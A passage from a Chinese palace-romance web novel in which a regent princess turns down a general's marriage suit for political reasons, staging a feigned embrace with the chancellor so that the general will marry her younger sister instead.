她自幼就习琴,尤擅五弦。有一张焦尾名琴曰“枯桐”,向来视如珍宝,爱不释手。先帝临终时,让她摄政监国,却让她当着群臣,剪断了枯桐琴弦,发誓在青岚成年之前,不婚不嫁,免得有了夫家,就忘了娘家。
她亦是下月过生,且还是满二十的大生。只是,这二十岁还未出阁的女郎,都二十岁了,婚嫁之事还遥遥无期的女郎,还过什么生辰呢?
专门找个日子,大家相约而来提醒她,你就是个不能婚嫁的笑话吗?
也许,在众人眼里,她就是个笑话。
所以,不提也罢。
免得拿别人心心相印,温存开心,来映照自己的形单影只,落寂伤心。
18. 二月初三.第一回合
天天都有些意想不到的波折,可日子还是要一天天地过。
雪融春寒,轻风送暖,天地万物开始复苏,转眼便入二月。
大小朝议上,依旧是些不休争吵,国库的钱粮开支,总是捉襟见肘。
那个小皇帝,也是时乖时坏,一副还没完全长醒的样子。懂事的时候,让人感动得想哭,捣乱起来,又把那群到资善学宫读书的宫女们,捉弄得哭。
许多个夜晚,亦还要挑灯夜战,处理那些政事堂呈上来的各类文书。
其实,那些可以由政事堂做主的,晏西棠已经处理得妥妥当当,只需她签印即可;需要御笔批复的,他也给她拟了些关键,甚至草案,她若想捡懒,只需抄腾即可。
可是,夜鸣珂心头作怪,偏要自己从头仔细思量妥当了,才能落笔。
一则,是对那人有些怪怪的抵触情绪,就是不想顺着他。
二来,亦存有些警醒,不想被任何人牵着鼻子走,皇家凋零,皇帝年幼,她便是这掌舵之人,自当诸事小心。
二月初二,龙抬头。
皇家祭祀,一番尊俗与礼数过后,便开始这二月里的大事。
二月里,有两件例行的大事,一是各路边防将领回朝述职,二是天下学士赴京参加春闱。
二月初三开始,那各路的边防将领,就排着队的,上殿呈词了。
首当其冲,最先来的,是最大的一头,西北军。
西北一路,千里防线,数十万驻军,这几年又颇受草原上的莫折部侵扰。军事动静多,军需开销也甚大。
所以,那殿前陈词,既是述职,亦是要钱要粮。
不过,今年在那殿上陈词的,不是坐镇西北的云中侯,而是秦家三郎秦琅。据说是老军侯腿上的旧疾犯了,行动不便,所以,遣了最得力的三子回朝,代父述职。
那秦琅么……是只小老虎。
身材高大,剑眉星眸,本就是出落得英挺俊朗的将门虎子,被西北风沙吹了三年,越发的成熟,大气,摄人心魄。
最要命的,他喜欢她!
他曾经,从不掩饰自己的喜欢。大小宫宴,只要能逮着人的,便是各种表白,闹得众人皆知。后来,先皇替琳琅公主钦定了一个世家子做驸马,他本亦是要冲上去,掂量掂量那文弱公子的斤两的,却被晏西棠先下手,把人给吓残了,他竟也在一旁,公然拍手称快!
故而,云中侯的三公子,算是琳琅长公主的半个绯闻情郎吧。
如今,三年未见,在这煊赫朝殿之上,那人仍是毫不避讳,一边朗朗音色,磊磊容颜,陈说着军事与军需,一边仰面抬眸,直直地,将御座一侧的琳琅长公主,紧紧地看着。
将门虎子,目光如炬,看起人来,大约有种火光四溅的感觉。
秦三郎之心,恨不得路人皆知。
看得在两侧听陈词的朝臣们,都有些不自在了。
夜鸣珂亦有些脸皮发烫。装着闷热,轻抬手背,掂了掂腮面,便侧了头,旁顾开去。
一个转眸,却瞥见那殿下左首的首辅大人,脸色似乎不怎么好看。
也不知,在恼什么?是听那军饷空洞太大,着急了吗?
她都不急,反正,就是个烂摊子,都有些债多不压身的赖皮感觉了。
不觉一个莞尔浅笑,于那朝堂之上,轻缓从容,仪态万千,倒是颇能安慰群臣的愁苦与焦虑。
那秦三郎铿锵言完军事与军需,便迈步走上御前,亲手呈上云中侯的亲笔奏表。
一身明光戎装,绒花玉佩替换了腰间长剑,走得气势豪迈,骄纵风流。
夜鸣珂仰头看他,按捺住心头悸跳,接过奏疏,按例打开来,一字一句,当场细读。
那奏表洋洋洒洒上千言,遒劲笔触,除了条陈刚才秦琅已经述及之事外,还捎带了云中侯的老将忠诚,老父苦心。
大意是,秦家世代镇守西北边疆之劳苦,秦家子弟尽数沙场埋骨之忠良,又述自己一身伤病,行将就木,膝下继承衣钵的嫡子三郎已经二十有三,却未娶亲生子,且还成日将头颅系在腰间,在枪林箭雨中来回穿梭所以,他深感惶恐,愧对祖宗,想替子请尚一位皇室公主,传宗接代,以耀门楣
又拍着胸脯地说了,西北战事频繁,军饷军需,以战养战,东拼西凑,其实也能凑合,可这儿子的婚事,和秦家的传承,还得请皇家,帮着解决一下。
云中侯的言下之意,尚个皇家公主,比军饷补给,更合他老侯心意。
大兴的军侯可世袭,经营得久的军队,也自带家姓。因此,基本上,定了主帅之心,也就定了半个军心。
夜鸣珂快速而认真地读完,读出其中真意,便啪地一声合了折子,笑着抬头,目视虚空,谁也不去看,什么也没说,继续下一件议事。
就跟云中侯写了一封私信给她一般。
这件事情,她有些心动,又有些犹豫。
能够用一桩皇家姻亲,安定西北军心,她自然觉得划算。只是,她这里,还有些难处,而且,秦琅的心意,她亦要再确认一下。
遂暂且按下不说。
∝∝∝
散了朝议。
又撵了皇帝去资善学宫听讲。
琳琅长公主便拿了云中侯那份奏表在手,径直往内宫去。
行至那垂拱殿东侧的甬道中间,却停下了。
让常小山到口子上去候着。自己则往那高厚宫墙上一靠,深吸口气,先定定神。
这条甬道,是从垂拱殿出来,往内宫去的必经之路。
散朝的朝官们,出了内朝宫门,会转向西侧,往宫外走,而那个在朝堂上递了请婚,却没有得到答复的人,定会请求往内宫来来找她确认。那就定要经过此处。
果然,靠墙歇了少息,秦琅便追了过来。
“公主!”
随着一声中气浑亮的呼唤,人已至跟前,杵她眼皮底下了。
“……”夜鸣珂背抵宫墙,又反了双手去撑。
面对那旋风般袭来的沙场将领气势,竟莫名有一丝儿心慌。
“家父所求之事,公主可允否?”秦琅开口,也是单刀直入,不讲迂回。
秦三郎从来都是个很直接的人。战场上,是一员虎将;情场上,也是个……直憨憨。
“秦将军……想要尚哪一位皇家公主?”夜鸣珂讪讪地笑。
她腹中的弯拐,可就比他多多了。云中侯只说替子请尚公主,却没有说哪一位公主,她岂能自行对号入座?
“公主难道不知,我想要哪个皇家公主么?”
秦琅蹙眉反问,继而咧嘴绽笑,笑出那明朗的心思。也许,就像那西北天空,晴碧万里
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,一览无余。
“我怎么知道?……”夜鸣珂垂眸,别头,心头竟一阵突跳。
说来惭愧,她如今,高高在上,孤家寡人,许久都没怎么受过,这么直白而真诚的撩拨了。
没想到,还有更直的。
秦琅一个迈步,抵了她身侧,抬一只手,撑她头侧宫墙,另一只手,捧住护心镜,以示剖心:
“满朝皆知,在我心里,就只有一个皇家公主……”
铁甲寒光,硬汉柔情,就这样直直地压迫而来,竟将她压在墙上,有些手软脚软的,直想往下滑。
好不容易,强作了镇静,站稳了双腿,客气地笑说:
“这事情,有些难……满朝皆知,我在先帝临前起过誓,陛下成年之前,不能婚嫁……”
秦琅却觉得,这就是肯定的回答。激动得一个滑手,就将她搂了腰,将她笼在灼灼的目光中,深情地起誓:
“无妨!我等公主就是,公主什么时候能嫁人了,我就回来迎娶!”
隔着厚锦宫装,那掌心温度,竟也熨她小腰发麻,那浑厚的男儿血气,亦笼她寒毛发颤。
“你等得,老侯爷可等不得”琳琅长公主偏头,尚有一丝清明,去想那云中侯替子请尚公主的真意。
“那是我娶亲,又不是他娶……”秦琅就笑,笑着笑着,又入了另一层旖旎境地,“你若是跟他一样急,咱们可以先生个孩儿交差……”
那军中儿郎,见惯了生死大事,可能是觉得,其他的,都没什么可以羞躁的。
本是轻佻之言,却因不矫揉,不造作,反倒有种让人感动的执诚。
“……”夜鸣珂就有些……感动,转眸认真看了他一眼。却也矜持地,仰头举目,去看天。
甬道上空,有一线碧蓝天色,边角上挂半朵残云,像一副空白藏境的画。
别有一种信赖与美好。
女郎悠悠浮笑,笑得温柔妩婉。
终于,有人这样许诺她……
然后,偏偏,也总是有人来掐她的桃花——
“琳琅长公主殿下……”
一声庄重呼唤,在甬道口子上,严肃地响起。
转头一看,晏西棠站在那处,一身玄色朝服,笔直青松,面色无波,且还散发着黑气。
“臣有急事,要与公主议!”那人高高举起手中一捧文书,微微欠身,恭敬请礼,却又蛮横地撵人:“有请秦将军,回避一下!”
政事堂的宰执相公,要跟摄政的长公主议点十万火急的事情,自然是天经地义的。
“……”秦琅见状,倒不觉惊奇,却也维持着那撑壁的姿势,求了一句:
“末将请允下午入宫,与公主叙旧可好?”
见着夜鸣珂沉吟少息,终是点头允了。
他才放开手,笑吟吟地,退开几步,再潇洒转身,与晏西棠行礼,错开而去。
甬道中,剩下一片无言的寂静。
夜鸣珂靠着宫墙,还没怎么走出那番温柔境地,就看着晏西棠,捧着文书,一步一步过来,一副板脸的老师傅模样,十分不悦的教训,一字一句地掷地:
“公主这烂桃花,怎的这么多?”
一身浩然正气,俨然一个纠察皇家不是的宰执相公。
亦有种说不出的……酸气,像个捉奸的丈夫……
19. 二月初三.第二回合
“公主这烂桃花,怎的这么多?”晏西棠冷不丁损了她一句。
黑眉黑眼,酸不拉几。
夜鸣珂愣了愣,却笑了,讪讪的,亦还有些欠欠的自得:“也没有太多吧,就这一朵……”
她心情好,前所未有的好。
这朵烂桃花,还想要娶她呢,终于有人,在耳边说,要等着娶她了。她有种前所未有的满足,虚荣的心,恨嫁的意,思春的情,都得到了满足。
说罢,便将手中的奏表,递与晏西棠,要他自己看。
虽说,是些男女私情,但也毕竟是桩政治婚姻,也该与他这个政事堂宰执商议。
晏西棠接过,一目十行看完,便也转身,往她身边的宫墙上靠了。
眸色深旋,思索少息,一声重重的呵气,从喉咙里滚动,再从鼻尖嗤出来。
一副十分不以为然的样子。
夜鸣珂偏头去看,便看见那勾起的嘴角,挂着嗤笑与不屑。
看得出奇,不觉问他:
“晏大人不是有急事找我吗?”
一副心急火燎的样子,把人撵开,却又不急不慢地,靠在这里跟她磨叽。
“就是这件急事!”晏西棠理直气壮,举起手中奏表。
他未卜先知,还未看到奏表时,就大约知道是怎么回事。
“这事……有什么急的?”她都不急的,急也急不来。
“公主……不能嫁秦琅!”
“为什么?”
“那一介武夫,你很喜欢?”晏西棠转头,桃花眼眸,灼灼地看着她。
“我……反正,也不讨厌吧……”夜鸣珂移开了视线。
一时要她说是喜欢吗?似乎也答不上来。且要在他咄咄逼问下,说喜欢,竟有种莫名心虚。
“那也不行!”那人像是松了口气,复又靠回墙上去,看着天说话。
“可是……”夜鸣珂觉得他怎的有点蛮横,便耐心地,与他讲理,“这桩姻亲,可是值许多军饷呢……”
且不说秦家三郎是个良人佳配,只说这政治利益,既可解国库燃眉之急,亦可安定多年军心。
“你当是去地主家当小老婆吗?还不起债,就拿人来抵?!”
文雅的宰执大人,突然低吼了一句粗糙的。
话糙理不粗,其实,也就是这个意思。
夜鸣珂却也不觉寒碜,且还继续往那牛角尖里钻:“无所谓,只要可以稳定军心,于我大兴有益,为何不可?”
姻亲于政治而言,只是一种制衡手段。
“……也是,用一位皇家公主,缓军饷之急,稳半壁江山,这买卖,倒也划算!”晏西棠想了想,也点着头,承认了她的道理。
然后,却突然话锋一转,朝着她当头棒喝而来:
“可是,却不是你,琳琅长公主殿下!”
“为何不能是我?”夜鸣珂被他接连地否定,亦有些拧了。
“公主不知吗?”晏西棠反问她,一副她就该知道的样子。
“我就是不知!”夜鸣珂就跟他抬杠。
其实,她只是暂时不愿意去深想而已。只如刚才,浅浅的欢喜,纯纯的情愫,多好。
偏偏那人嘴毒,还要硬生生把她心中的惶恐,给剖开来:
“不论现在,还是以后,公主都不能嫁给秦琅!且不说现在,公主有这陛下成年之前不婚嫁的誓言,就算以后释权,可握过权柄,手有余温,也不能随意嫁个军侯之子!若是嫁给秦琅,莫不过将这江山权柄,送进西北军中。那么,其他各路军侯会怎么想?这京中的权贵们,会怎么想?还有,陛下又会怎么想?”
“……”夜鸣珂垂首,心中有个空洞,在慢慢地蔓延开来,空得她不想说话。
“云中侯的本意,也不会是公主。不然,为何明知秦琅的心意,闹得路人皆知,他却不直接在奏表中指明,要请尚哪一位公主?”
“……”
“他想要的是,只是一桩合适的皇家姻亲,而不是一个烫手的摄政长公主做儿媳。”
“……”
“他不指明要请尚哪一位公主,是诓他那个痴心的三郎,赴京述职,上陈奏表。他不指明,也是相信,琳琅长公主有这个智慧与决断,能够给他的三郎指婚一个合适的公主,一个能够马上婚配,来年就可以抱孙子的人选,也是一个既能彰显皇家与他的亲厚,又能撇清他没有觊觎皇权之嫌的公主!”
“……”
“所以,扶疏长公主才是这个最合适的人选!”
一串连珠炮说完,晏西棠似乎隐隐地,抽了一口气。其实,他也没用什么过分的语气,平淡流水,温润和煦,亦如朝议上那陈词。
可听在夜鸣珂耳朵里,却如澎湃潮涌,一浪高过一浪。
她最讨厌晏西棠的,就是这点,总是比她更聪明,更清醒,总是要把最真实,最残酷的,剖给她看。
偏偏,她又是个一点就通的人,甚至,他之所点,往往就是她心中所想。
女郎心头难堪,跟着就鼻子发酸,都快要哭出来了,却也绷着不哭。
仰面倒了倒泪水,已然开始面对那需要真正去直面和处理的后续事情:
“扶疏她……她喜欢你……”
甬道上空,那天边上一抹如画的棉花云,也不知道跑哪儿去了,只剩一
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片空寂碧色。
晏西棠也仰头,勾嘴浮笑,嘘声叹息:“少年女儿家的喜欢,算不得真正的喜欢吧,是那白云苍狗一般的浅喜,风一吹,就散了。”
继而又带些了强硬:“扶疏殿下年少纯真,青春活泼,秦将军果敢有为,率真直诚,两人堪为良配。”
两句话,就把一对鸳鸯给配好了。
“秦琅他他喜欢我……”夜鸣珂勇敢起来,再次摆出一个更难堪的问题。
“他若不愿,你来劝。”晏西棠转眸,把这个难题扔还给她。
“我”夜鸣珂便是舌头打结,语无伦次,“我要……如何劝?”
让她去劝一个喜欢自己的人,你去娶别人吧?简直是吃饱了撑的疯狂!
“就说你有相好的了!”晏西棠竟能面不改色,快速地给她支了一招。
“我哪来什么相好的?”
夜鸣珂终于不耐,带了些哭音,委屈的猫儿一般,吼叫着跳开来。
“我……”晏西棠伸手来抓住她手腕,神光明灭中,欲言又止。
也不知他要说什么。
女郎只道他是要热心帮忙找。
遂潇洒地一个甩手,一个深深呼吸,又迈过了这个槛:“算了,不用你帮忙找,我自己随便找一个吧。”
“你准备……要找谁?”那人却复又捏住她的手腕,还有些使力,刨根地问。
有些八卦。
“纪无攸吧……”夜鸣珂想了想,抬脸说到。那眼角的潮意,还有些未退尽。
也只能想到纪无攸了。
“然后呢?”那人还真是八卦。
“下午秦琅要入宫,我把相好的拉给他看看,让他死了这条心便是!”
她也是个能够当机立断的人。
边防将领,回朝述职,滞留京中不得超过三日。既然打主意要嫁扶疏于秦琅,那就得赶紧让秦琅先对她死心。
让秦琅死心,她也就死心了。
一转眼功夫,她又变回了那个没人疼爱,也没人敢娶的老姑娘。
更觉边上那个清醒得可怕的晏西棠,亦是讨厌之极。
那人却捉着她的手腕不放,倾身过来,张臂送怀,挡在她面前,竟还蹙眉凝目的,要抬指来给她抹泪。
要她做成年人的事情,却又要拿她当小孩儿来诓!
女郎就彻底恼了,一脚踩他脚上,挣脱了拉她的手,跳开去,甩袖转身,独自走出甬道,往内宫去。
一边走,一边抬袖,胡乱抹着终于如潮涌出的泪水。
脑子清醒,就只有让心灵受罪。
大是大非为重,就只有让小情小意受委屈。
20. 二月初三.第三回合
回到春和宫,琳琅长公主一头栽进床铺里,伤伤心心地哭了一场。
埋头在锦褥中,把那曾经里,母亲的绝卓,父皇的冷漠,还有现在,小皇帝的不省心,自己的孤苦伶仃,惶恐无助,依次哭了一遍。
哭完之后,再把秦琅搁在心头,默默地舍弃了一遍。
当然,也捎带着,把晏西棠搁在心头,愤愤地骂了一遍。
然后,就恢复了正常。
该干什么干什么去。
先是使了常小山,去知会秦琅,让他可以在下午酉时进宫来叙话。
又让紫绡去一趟太医院,找纪无攸,要他在下午酉时之前,务必过来一趟。
安排好之后,便是吃午饭,认认真真地吃完,午后,还小憩了一会儿。起来梳妆,特意换了一身亮丽宫装,上了些水色胭脂,迎和着外间那明媚春光。
料峭春风,春日暖阳。沁湖边上,满岸的碗口玉兰,梨花初放;湖里面,齐岸的春水满涨,碧波荡漾。御苑里的四季盛景,始于这初春的梨花和玉兰。
琳琅长公主就在那湖边的静心阁里,打开四面窗,喝些午后茶,翻些闲散书,坐等酉时。
有些堆在手边的文书,也是无心看的。
“公主不到湖边走一走吗?那出云假山边上的玉兰,开得真好看!”
紫绡看着她无聊枯坐,倒也机灵,出了个散心的主意。
“你去看吧,顺便去看看,纪大人走到哪里了?”
“哎!”
那紫绡得了赦令,一溜烟儿功夫,便钻进那沿岸的花树林中去了。
看得夜鸣珂直摇头。
这个自小跟到大的宫女,与她年纪相仿,也老大不小了,虽说也持重,把那些小宫女小内侍,都可以驱使得团团转,可就是有个傻气的小嗜好——喜欢看花。
一年四季,要把这御苑中的四季花色,赏个千百遍。
一阵摇头,心头又猛然地惊醒,这个年纪的宫女,成日囿于宫廷,不爱花,还能爱谁?
大兴的宫女,满二十五,可出宫还家。然而,每年,满龄出宫的人,却很少。盖因在这个年纪,已经过了最佳婚龄,也不容易找到一个好的夫婿来嫁。无夫婿可嫁,那就只能还家,然而,这些大多都是些贫苦人家出身,进宫本就是一条生路,说是还家,其实,也无家可还,即便还了,在那兄嫂家中,也无立足之地的,还不如在这宫中,做个白头宫女作罢,至少,不会缩衣少食,受人闲气。
一番思索,琳琅长公主心头,就发了狠,若是可以,她一定要把紫绡给嫁出去,且还要嫁得好,至少,也得做一个浩命夫人!
她之难堪,不想再让身边的人亦跟着难堪。
甚至,她还要把这皇宫中的所有满龄宫女,都给找上一个好夫婿,嫁出去!
若凭她之力,可以这样的话,她愿意去做。
突然又觉,她的命运,跟这大兴皇宫中成百上千的宫女们,有着一种冥冥中的相似。
她比青岚长六岁,等青岚弱冠成年,她也满二十六了,若是到那时才走出这皇家,可不就像一个役满出宫的宫女一般?
不禁又是一番自嘲叹息。
再喝几口茶解嘲,稍微觉得顺气多了。
大约是觉得,有这么多青春美好的女儿家,与她同命相连,也就不至于那么孤零零一个人难受吧。
心头气顺,且还有了些想要助人的豪气,亦就觉得,眼前的春光,明媚而寂寥,终于映入了眼帘。
方看见阁子外头的梨花,开得雪白娇嫩,春风拂过枝头,微微颤着,煞是好看。
终于有了兴致,起身出了阁子,到湖边花树下,去走几步。
一边赏几眼梨花,一边翘首去看。
才觉得,让紫绡去找纪无攸,无疑是放狗撵羊!
眼看酉时快到,紫绡没回来,那纪无攸也没个人影。
那个痴心人,八成又是绕道路过落薇宫,进去看小太妃去了!通常一看就是许久,忘了自己姓甚名谁,要做什么。
该来的,没来,然后,她就看见,那个最不想看见的人,来了。
梨花开放的蜿蜒湖岸,青瓦白壁的宫墙拐角,那人一身玄色朝服,玉带缠腰,金鱼挂身,眉目如画的俊颜,清瘦笔挺的身姿,乍然出现在这春景中,宛若一颗芝兰玉树,融洽得很。
平心而论,晏大人的相貌,比才华,还要好。
夜鸣珂却看得眯了眼,甚至觉得有些晃眼。
这个人,明晃晃地,早不来,晚不来,偏偏捡着这个时候跑来做什么?
明知她约了秦琅酉时进宫!
遂把脸色一沉,偏头侧眸,冲他怒目相视。
“臣来请公主,签印今日的文书!”那人倒也不恼,似笑非笑地,举起手中文书,说明来意。
“让寺人送进来就可以,不劳你相公大人亲自跑腿!”
“其实,也存些私心的,听说这御苑里,梨花开得好,便想着进来赏两眼。”
说是要赏梨花,却将梨花树下的女郎,目不转睛地看着,隐隐有些缱绻神色,似乎,这满园梨花,最好看的,是这一枝。
女郎心头有事,自然是浑然不觉,一个不屑嗤笑,轻巧旋身,转而面对湖一边。
她知道他的鬼心思。
不就是想来看她的热闹吗?亦或,是不放心她,怕她见了秦琅变卦?还真是个以国事为己任的忠良大人。
那蜿蜒湖岸,远处有些影影倬倬,似乎是常小山,引着秦琅转过来了,在那岸边一闪,又一下没入凹处弯道中。
可那纪无攸,还没个影儿。那风流表哥哥,竟在这关键时刻,放她鸽子!
夜鸣珂急得顿足。
“秦琅在后头,只比臣晚一步进宫……”晏西棠却还在煽风点火。
来不及了!
女郎跳着转身,看着那等着看热闹的人,将他从头到脚打量一通,便快速换了折子:
“算了,你……过来!”
她抬起广袖,翩翩冲他招手。
“做什么?”晏西棠听话地举步靠近,却作一脸忍笑的疑惑状。
且还将手中文书,往湖边石上搁了,腾手一般。
“纪无攸没来,有劳晏大人,配合一下……”
女郎倒是没觉得,有什么难为情的,演戏而已。
待他行至跟前,还伸了双手,拉他腰间玉带上,若即若离,似拉似推的,像极了一个跟情人歪腻的女郎。
这内宫御苑里,找个男人不容易,既然他恰好送到了手边上,将就用一下,也行。
晏西棠便绽了笑,又不好出声,那笑,便凝在面容上,忽如那一夜春风里,悄然绽放的千树万树梨花。
夜鸣珂仰头,看见的,便是这副美颜盛景。
“你笑什么?”她问他。
“承蒙公主垂青,微臣有些激动。”
男子忍着哑笑,倾情张臂,从她肩头,手臂,一路滑至腰间,虚虚地,扶抱住。
“你莫乱来啊!就这样,站着别动,做个样子,就行……”女郎扣着他腰上玉带,将他推了推,那窄腰紧肉,还真不像个柔弱文臣。
“嗯……
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”头顶的声音,温柔得,如同那旁边沁湖中,涨满的春水。
女郎不觉抬头,看见他胸襟上,有一瓣梨花,便翘指来拈,再顺便他胸膛上拍一拍,理整理整。
那面贴着面,等待着被人撞见的刹那流光中,实在是不知道该做点什么才自在,只能动手乱摸乱刨一阵。
然而,撤手间,却被那人抓住了手,捏在掌中,复又拉回胸前来,一边低头递唇来嗅,一边抬眉凝眸,来捉她的眼神。
竟是有种说不出的风流缠绵。
夜鸣珂便圆睁了一双大眼,呆呆地数着那眼前眉睫,傻傻地心叹:
这人……真是会演。这么快,就能入戏至深。
“公主在静心阁呢,秦将军这边请……”
宫墙转角后头,景和宫门口,传来常小山的引路言语。
夜鸣珂一个紧张,手脚有些发软。
晏西棠一把将她按进胸怀里,抱得死紧。
抱得她心头浪起,像一只惊乍而动的鹿子。
男子将她抱稳,带着一个旋身,拿了自己的肩背去对那宫墙转角处,然后,附耳下来,压着声音,警告到:“别乱动,不然搞得像我在强上似的……”
女郎就安静了,且还伸手,扶了那紧腰。
两人僵着那搂抱,侧耳去听。
那宫墙转角处,却没了声。
应是转出宫墙,看见了湖边光景,然后就尬住了。
“放松些……”晏西棠拍了拍怀中薄肩薄背的纸片人。
“哦……”女郎依言,放软了腰肢。
两人终于有了那么一点点,并肩作战的默契。
男子便探手,勾起怀中那张明丽小脸,低声赞赏:
“今日这胭脂,好看……”
“秦琅带刀了没,等下会不会要砍人?”女郎的心思,却是另一路。
“外臣入内宫,卸了兵器的!”晏西棠应她。
“他赤手空拳,也很厉害……”
“专心点!”
“差不多了吧……”
“上次,把公主这处咬伤了,真是对不住,这会儿,我让公主咬回来,可好?”带着握笔茧的指腹,在她唇角轻轻重重地抹过,低低压着的磁哑声线,带着绵绵软软的情挑。
“不好!”夜鸣珂摇头,又埋头,觉得有些过了,亦有些乱。
“殿下……呃……秦……秦将军来了……”
常小山的声音,终于响起。面对这光天化日之下,旁若无人的两位,那个小太监,都难为情得结巴了。
公主只让他带秦将军进宫,又不给他说要面对何种状况。
“可以了!”女郎抬手,去推那宽阔胸怀。
“……”晏西棠一时没动。
“放手!”夜鸣珂再推。
那人终是放手,却是抬臂,顺手摘下头侧梨树上一朵梨花,轻插她耳边发鬓上。
“今日这满园的梨花,就数我手上这枝,最好看!”
也不知是在赞人,还是在赏花,一边笑说着,一边退步,然后,做了个清隽又暧昧的动作。
他将那抹过她唇角胭脂的手指,轻轻按在了自家唇上!
风流如许,魅惑如妖。
再一个折身,绕过静心阁,没入那一树接一树的梨花林中去。
夜鸣珂转头,看着那沿途飘落的梨花,竟是一口抽气。
那边,不是出宫的方向。他往御苑深处钻去做什么?
想来,还是怕秦琅打他吧。
好吧,现在该她,提刀上阵,独自面对接下来的战场。
21. 二月初三.第四回合
那宫墙转角处,秦琅站得笔直,怒气冲天,却也忍着,不说话。
晏西棠没了影,常小山也勾头猫腰地,退着退着,就闪了人。
春日湖旁,暖阳偏西,梨花初绽,本来是一派温柔如水的风光,却突来一种无言的尴尬。
夜鸣珂侧身,顺势往旁边梨树上倚靠了,梨树干并不粗壮,就也只能虚虚地靠着。歪斜偎身的女郎,懒撒垂头,如一棵攀树借力的藤萝。
秦琅终是上前几步,踩过地上些许梨花落瓣,停在她面前,将晏西棠给她插在头侧发鬓上的那枝梨花,盯看了许久。
四下里,仿佛有些风过枝头,蜂虫嘤嗡,却又仿佛静得吓人。
夜鸣珂就那么偏着头,似笑非笑,浅浅勾唇,闪亮水眸,虚虚地看着湖上光景。
看起来就是个随性的女郎,跟人在这湖旁梨花下荒唐亲昵时,被抓了个现行,有些不好意思的羞怯,却又一副不知错,不在乎的欠模样。
殊不知,她都快要哭了,她不敢看秦琅,怕绷不住,也不敢说话,怕演不好。
她其实胆小,也不是那种水性之人,却偏要扮成一朵大胆杨花,真的好难。
亦觉得,要这样去伤害一个心纯意直的好儿郎,践踏他的心意,有些残忍。
幸好,还是秦琅先说话了:
“我本以为,上午在垂拱殿旁边,公主便算是允了我!”
男子的声音,沉而亮,稳而扬,已然是那种能够号召边关将士的铁血与中气。
此时,又带着些不相信眼中所见的恼怒与质问。
“秦将军……误会了。”女郎便终于知道该如何接话了,转过头来,缓缓站直,面含微笑,温柔和缓地说话,如那眼边上的缱绻梨花:
“上午仓促,未来得及与将军细说。本也就想趁这会儿,将军进宫来,就把这事情解释清楚。我其实,从未想过,要嫁于将军。如将军刚才所见,我……”
女郎的话,客气而委婉,生份又直接,一口气说来,突然有些气紧,便顿了顿,像是卡住了。
秦琅接了话茬,沉沉问到:
“是因为晏大人吗?”
“也不是……吧。”夜鸣珂抬眸,看着那人凝眉的肃然神情,再垂眸,瞥见那锦袍窄袖下捏紧的双拳。她突然还是发了一点点善心,没有把晏西棠彻底拉下水:
“也不全是因为他,我就是……有些随性由心,也还没有想过,要嫁于谁”
女郎一边说,一边低头颔首,斜眸去东张西望,绞了绞双手,腰肢轻晃,裙摆摇摇,就是一副很随性由心的模样,连与他说话,都心不在蔫的,没点真诚。
反倒跟上午在垂拱殿那甬道里,懒靠在宫墙上,不拒不迎地,任他来抱,不置可否地,任他来戏,有些呼应了。
要让这个心直拳头硬的人死心,拉个情郎站在身边,还不是最稳妥的,当年先帝给她钦定驸马,他还要跳上去找人比试呢。
最好的办法,其实是让他看低她,觉得她不值得吧。
“……”那秦琅的眼中,果然一阵暗淡,一时无话。
夜鸣珂便凝了凝心神,站直腰杆,提了那摄政监国的气度出来,笑着说到:
“不过,将军可放心,老侯爷之请尚,自然是要允的,我已与政事堂商议,拟嫁扶疏长公主于将军,扶疏长公主年方十七,青春美好,纯洁心善,堪为将军良配。”
言下之意,给你挑了个更好的。
说罢,见着那人的脸色,越发的难看,便要想撒开腿,走开些。
转身之际,秦琅突然伸手,一把拉住了她的手腕,像是克制住将她往怀中带的冲动,堪堪追问:
“公主可是有什么为难之处?”
男儿声色铿锵,依旧是那般决然与情执。
他终是那般热心直肠,且也宁愿相信,她说的,是连篇鬼话。
“秦将军说笑了……”
夜鸣珂拧了拧手腕,抽不动,遂就着那被擒的身姿,悠悠懒懒地说来:
“我能有何为难之处?先帝令我摄政监国,如今这江山权柄都握在我手里,我能有何为难之处?……若真是要问个原由,一来,我本与你,无甚真情实意;二来,我在这朝堂上,看过一些高处风光,便觉得做这侯门夫人,也不过是唾手荣华;还有,若还要夫唱妻随,去那西北之地度过余生,我亦觉得苦寒了些……”
打起官腔,说得冷凉,说得自己的心都在颤。
一来,我不爱你,二来,我看不上这桩姻亲,三则,还嫌弃那西北又穷又荒。
这就有些伤人了。
握她的手劲,随着她的娓娓话音,渐渐松了些,渐渐松至无力。
夜鸣珂便乘机挣脱了,拂袖,拔腿,走人。
犹如抽刀捅了人心窝子,再拔刀,回鞘,走人一般。
断不能回头,去看那血溅三尺之残忍。
可许是疯了,明之不可,偏要为之。行出丈远,竟然回头转身,向着那浑身僵硬,一脸痴色的人,行了个仪态万千的拱手正礼,清朗祝愿:
“恭喜秦将军,喜得良缘!祝愿将军与扶疏妹妹夫妻恩爱,早生贵子,伉俪白头,此生……无怨!”
便是完美谢幕。
这才转身,绕过转角,往那景明宫中去。
扔了秦琅在梨花树下,独自消化情伤。
她其实也是心纯,想着,这也是为秦琅好吧。
上午,晏西棠的一番分析,让她想得通透彻底:即便秦琅要铁了心等她,也是无济于事的。因为,即便是她卸了印,不当干这劳什子摄政监国差事了,也不方便再嫁与军侯世子。握过权柄,便有余温,嫁与谁家,谁家便是将来皇帝的心头刺。
所以,如果是为秦琅好,就莫再去耽误他!
她此番做的,是好的事,对的事。
没关系的,没关系的,夜鸣珂一边走,一边自我安慰。
也许,秦家儿郎想娶的,就只是一位平添军侯世家荣耀的皇家公主吧,如今给了他更青春年少的扶疏长公主,是不是更好的对待?
也许,秦家三郎是存有些非她莫属的心思,可是,没有谁,是离了谁不能活的。他今日难过,明日难过,没准,过几日娶了活泼可爱的扶疏,也就忘了她吧。
扶疏比她好,比她年轻,比她纯善,比她更能讨男子欢喜,也更能讨世家长辈的喜欢。
所以,秦琅离了她,依旧能够活得风光无限好,活得此生无怨无悔。
所以,没关系的,就这样吧。这样挺好的。
可是,为什么,现在的她,就像一条离了水的鱼,难受得,快要窒息。
这种故意伤人的感觉,还真的是太糟糕。
拒绝递到面前的手
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,推开送至手边的爱,这种强制孤单的感觉,也真的是不怎么好。
即便,中午还哭过一场,有了诸多的心绪准备。
还是有种猝不及防。
就在这种堵闷的难受中,飘浮着脚步,抬脚进春和宫,过庭,上阶,终于行至那景明殿屋廊下,便抬手撑了廊柱,歇口气。
吐了一口气,似乎能够缓解一丝心中堵闷,便还想再吐一口,索性,一口接一口地,吐着心中闷气。
又坐在那檐下廊靠上,一口一口地吐闷气。
待那心头闷气吐得差不多了,抬头,才看见,纪无攸急匆匆地进来了。
“好妹妹,真是罪过,来迟了,来迟了……”
